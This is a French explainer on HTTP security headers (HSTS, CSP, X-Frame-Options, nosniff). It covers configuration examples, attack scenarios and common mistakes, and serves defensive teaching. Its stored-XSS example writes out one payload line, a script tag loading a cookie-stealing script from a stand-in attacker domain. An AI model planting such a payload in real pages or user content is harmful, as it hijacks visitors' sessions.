En une phrase
Les en-têtes de sécurité HTTP sont des instructions spéciales envoyées par un serveur qui indiquent au navigateur comment se comporter, ajoutant une couche de défense cruciale contre les attaques web courantes.
Le problème que ça résout
Au début du web, les navigateurs étaient un peu trop naïfs. L'attitude générale était : « Tiens, un serveur m'a envoyé ce truc, je suppose que je vais l'afficher ! » Cette confiance a été rapidement exploitée. Des acteurs malveillants ont trouvé des moyens d'injecter des scripts vérolés dans des sites web légitimes, de piéger les utilisateurs pour qu'ils cliquent sur des choses qu'ils ne pouvaient pas voir, et de détourner des informations sensibles.
Le problème fondamental, c'est que le navigateur n'avait aucune instruction du serveur sur ce qui devait ou ne devait pas être autorisé. Si le commentaire d'un article de blog contenait une balise <script> qui volait les cookies des utilisateurs, le navigateur l'exécutait avec plaisir. Si un attaquant intégrait le site de votre banque dans une <iframe> invisible pour vous inciter à faire un virement, le navigateur se disait : « Bien sûr, ça me va. »
Cela a créé toute une catégorie d'attaques comme le Cross-Site Scripting (XSS), le clickjacking et les attaques de type man-in-the-middle qui forcent l'utilisation d'un protocole moins sécurisé. Les en-têtes de sécurité ont été inventés pour permettre au serveur d'envoyer un « manuel de règles » avec le contenu du site web. Ce manuel dit au navigateur : « Sois parano pour moi. Ne charge pas de scripts depuis des domaines non fiables. Ne laisse personne mettre mon site dans une frame. Et pour l'amour du ciel, ne me parle que via une connexion sécurisée. » Ils transfèrent une partie de la responsabilité de la sécurité côté client, en appliquant des politiques que le serveur seul ne peut pas imposer.
Comment ça marche sous le capot
Quand votre navigateur demande une page web, le serveur répond avec le contenu HTML, mais avant ça, il envoie un bloc de texte appelé « en-têtes » (ou « headers »). Ce sont des paires clé-valeur qui fournissent des métadonnées sur la réponse. Les en-têtes de sécurité sont simplement des en-têtes spécifiques que les navigateurs reconnaissent et respectent.
Passons en revue les plus connus.
Strict-Transport-Security (HSTS)
C'est le videur qui impose une politique stricte de « HTTPS uniquement ». Une fois qu'un navigateur voit cet en-tête de votre site, il fait une promesse : pendant les max-age prochaines secondes, il ne tentera jamais de se connecter à votre site en utilisant le protocole non sécurisé HTTP. Il forcera automatiquement le passage de toutes les requêtes en HTTPS.
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
max-age: La durée en secondes pendant laquelle le navigateur doit se souvenir de forcer le HTTPS. Une valeur typique est d'un an (31536000).includeSubDomains: Applique la règle à tous les sous-domaines (ex:blog.example.com,api.example.com).preload: Un signal indiquant que vous consentez à ce que votre domaine soit inclus dans des « listes de préchargement » maintenues par les navigateurs. Cela signifie que même la toute première visite sur votre site sera forcée en HTTPS, comblant ainsi une faille de sécurité petite mais significative.
Content-Security-Policy (CSP)
C'est le poids lourd — le responsable de la sécurité hyper-détaillé. Le CSP vous permet de définir une liste blanche stricte des ressources (scripts, styles, images, polices, etc.) que le navigateur est autorisé à charger et exécuter. C'est le moyen le plus efficace pour combattre le Cross-Site Scripting (XSS).
Un CSP est une chaîne de directives.
Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com; object-src 'none';
default-src 'self': Par défaut, n'autoriser que les ressources provenant de ma propre origine (le même domaine).script-src 'self' https://apis.google.com: Pour les scripts, les autoriser depuis ma propre origine ET depuisapis.google.com. Tous les autres scripts seront bloqués.object-src 'none': Interdire le contenu intégrable hérité comme<object>,<embed>et<applet>.
Créer un bon CSP peut être délicat car les sites modernes tirent leurs ressources de nombreux endroits (CDN, fournisseurs d'analytics, etc.), mais c'est incroyablement puissant.
X-Frame-Options
C'est le header anti-clickjacking originel. Il est simple et direct, indiquant au navigateur si votre site peut être affiché à l'intérieur d'une balise <frame>, <iframe>, <embed> ou <object>.
X-Frame-Options: DENY
DENY: La page ne peut pas être affichée dans une frame, quel que soit le site qui tente de le faire.SAMEORIGIN: La page ne peut être affichée que dans une frame sur la même origine que la page elle-même.
Bien qu'il soit encore utile, il est largement supplanté par la directive frame-ancestors de CSP, qui est plus flexible.
X-Content-Type-Options
Cet en-tête n'a qu'une seule valeur valide, nosniff, mais elle est importante. Il empêche le navigateur d'essayer d'être « malin » et de deviner le type de contenu d'une ressource. Certains vieux navigateurs voyaient un fichier servi en tant que text/plain, mais s'ils remarquaient qu'il ressemblait à du JavaScript, ils l'exécutaient. C'est ce qu'on appelle le MIME-sniffing et ça peut créer des failles de sécurité.
X-Content-Type-Options: nosniff
Cet en-tête dit au navigateur : « L'en-tête Content-Type que j'ai envoyé est la vérité absolue. Ne le remets pas en question. Si je dis que c'est une image, c'est une image, même s'il y a des balises <script> dedans. »
Exemples concrets
Le Clic sur le Bouton Fantôme
Un utilisateur se connecte à son réseau social préféré. Il se rend ensuite sur un site de jeu d'apparence innocente qui promet un cadeau gratuit si on clique sur un bouton. L'utilisateur voit un gros bouton « Réclamer mon prix ! » et clique dessus. Sans qu'il le sache, l'attaquant qui gère le site de jeu a chargé le site du réseau social dans une <iframe> complètement transparente, superposée directement sur le jeu. Le bouton « Réclamer mon prix ! » est parfaitement aligné avec le bouton « Supprimer mon compte » sur la page invisible du réseau social. Lorsque l'utilisateur clique, il ne réclame pas un prix ; il supprime son compte.
La leçon : C'est une attaque de clickjacking classique. Si le site du réseau social avait envoyé l'en-tête X-Frame-Options: DENY ou Content-Security-Policy: frame-ancestors 'none', le navigateur aurait refusé de charger le site dans l' <iframe>, et l'attaque aurait échoué sur-le-champ.
Le Commentaire Malveillant
Un blog tech populaire a une section de commentaires très active. Un jour, un utilisateur poste un commentaire d'apparence utile, mais qui cache un morceau de code JavaScript bien ficelé : <script src="https://evil-hacker.com/steal-cookie.js"></script>. Le backend du blog ne nettoie pas correctement le commentaire et l'enregistre dans la base de données. Désormais, chaque personne qui visite cet article de blog verra son navigateur charger et exécuter le script steal-cookie.js. Le script récupère discrètement le cookie de session de l'utilisateur et l'envoie au serveur du hacker, lui permettant de détourner les sessions des modérateurs, des administrateurs et des utilisateurs lambdas.
La leçon : un Content-Security-Policy bien configuré aurait été la solution miracle. Une politique comme script-src 'self' https://cdn.my-blog.com aurait ordonné au navigateur de n'exécuter que les scripts provenant du propre domaine du blog et de son CDN de confiance. La requête vers evil-hacker.com aurait été bloquée net, et un rapport aurait été envoyé au serveur, alertant les propriétaires du site de la tentative d'attaque.
L'Attaque Man-in-the-Middle au Café
Vous êtes dans un café, vous utilisez le Wi-Fi public pour consulter le solde de votre compte bancaire. Vous tapez mybank.com dans votre navigateur. Un attaquant sur le même réseau intercepte votre requête HTTP initiale, non chiffrée. Au lieu de vous laisser être redirigé vers la version HTTPS sécurisée, l'attaquant vous sert une copie parfaite au pixel près de la page de connexion de votre banque, via HTTP. Vous entrez vos identifiants, et l'attaquant les capture. Fin de la partie.
La leçon : si vous aviez déjà visité mybank.com auparavant, et que la banque avait implémenté le Strict-Transport-Security (HSTS), votre navigateur aurait su que mybank.com ne communique qu'en HTTPS. Il n'aurait même pas essayé de faire la requête initiale non sécurisée. Il l'aurait immédiatement transformée en https://mybank.com, contournant complètement le piège de l'attaquant.
Erreurs et pièges courants
- Un CSP trop permissif : utiliser
unsafe-inlineouunsafe-evaldans votreContent-Security-Policyparce que c'est plus facile que de corriger le code de l'application. Cela rouvre les failles XSS que le CSP est précisément censé empêcher. - Un HSTS avec un
max-agetrop court : définir lemax-agepour leStrict-Transport-Securityà quelques minutes ou heures pendant les tests et oublier de l'augmenter pour la production. Cela limite sévèrement son efficacité. - Oublier
includeSubDomains: sécuriserwww.example.comavec HSTS mais pasapi.example.com. Un attaquant peut toujours cibler les sous-domaines. Si tous vos sous-domaines supportent le HTTPS, incluez-le toujours. - Se fier à des en-têtes obsolètes : essayer encore d'utiliser l'en-tête
X-XSS-Protection. Les navigateurs modernes l'ont désactivé car il pouvait parfois être dupé pour créer des failles de sécurité. La bonne approche est d'utiliser un CSP robuste. - Le configurer et l'oublier : la sécurité n'est pas statique. Vous pourriez ajouter un nouveau script d'analytics ou un CDN. Si vous ne mettez pas à jour votre CSP, vous risquez de casser votre site. Les en-têtes doivent faire partie de votre processus de déploiement et de test.
- Casser son propre site : déployer un CSP très strict sans le tester au préalable. Utilisez
Content-Security-Policy-Report-Onlypour que le navigateur signale les violations sans les bloquer, ce qui vous permet d'affiner votre politique avant de l'appliquer pour de bon.
Pourquoi vous devriez vous y intéresser
Si vous développez, maintenez, ou êtes de quelque manière que ce soit responsable d'un site ou d'une application web, les en-têtes de sécurité devraient être sur votre checklist. Point final.
C'est l'une des améliorations de sécurité les moins chères et avec le plus fort impact que vous puissiez faire. Leur implémentation ne requiert souvent que quelques lignes de configuration dans votre serveur web (Nginx, Apache) ou votre framework applicatif. La défense qu'ils offrent contre des classes entières de vulnérabilités courantes est immense. Voyez ça comme une ceinture de sécurité : ça n'empêche pas l'accident de voiture, mais ça augmente considérablement vos chances d'y survivre. Les en-têtes de sécurité n'arrêteront pas un attaquant déterminé avec un exploit côté serveur, mais ils stopperont la grande majorité des attaques opportunistes côté client qui ciblent les utilisateurs non avertis.
Pour aller plus loin
- MDN Web Docs : En-têtes HTTP : La référence web ultime pour tous les en-têtes HTTP que vous pouvez imaginer. https://developer.mozilla.org/fr/docs/Web/HTTP/Headers
- Projet OWASP Secure Headers : Une excellente ressource de l'Open Web Application Security Project, qui détaille quels en-têtes utiliser et comment. https://owasp.org/www-project-secure-headers/
- Référence Content Security Policy (CSP) : Une plongée en profondeur dans le plus complexe et puissant des en-têtes de sécurité. https://developer.mozilla.org/fr/docs/Web/HTTP/CSP
- Soumission à la liste de préchargement HSTS : Apprenez-en plus et soumettez votre site à la liste de préchargement HSTS qui est intégrée aux principaux navigateurs. https://hstspreload.org/
- Le blog de Scott Helme : Un chercheur en sécurité qui écrit de manière approfondie et fait autorité sur les en-têtes de sécurité et d'autres sujets de sécurité web. https://scotthelme.co.uk/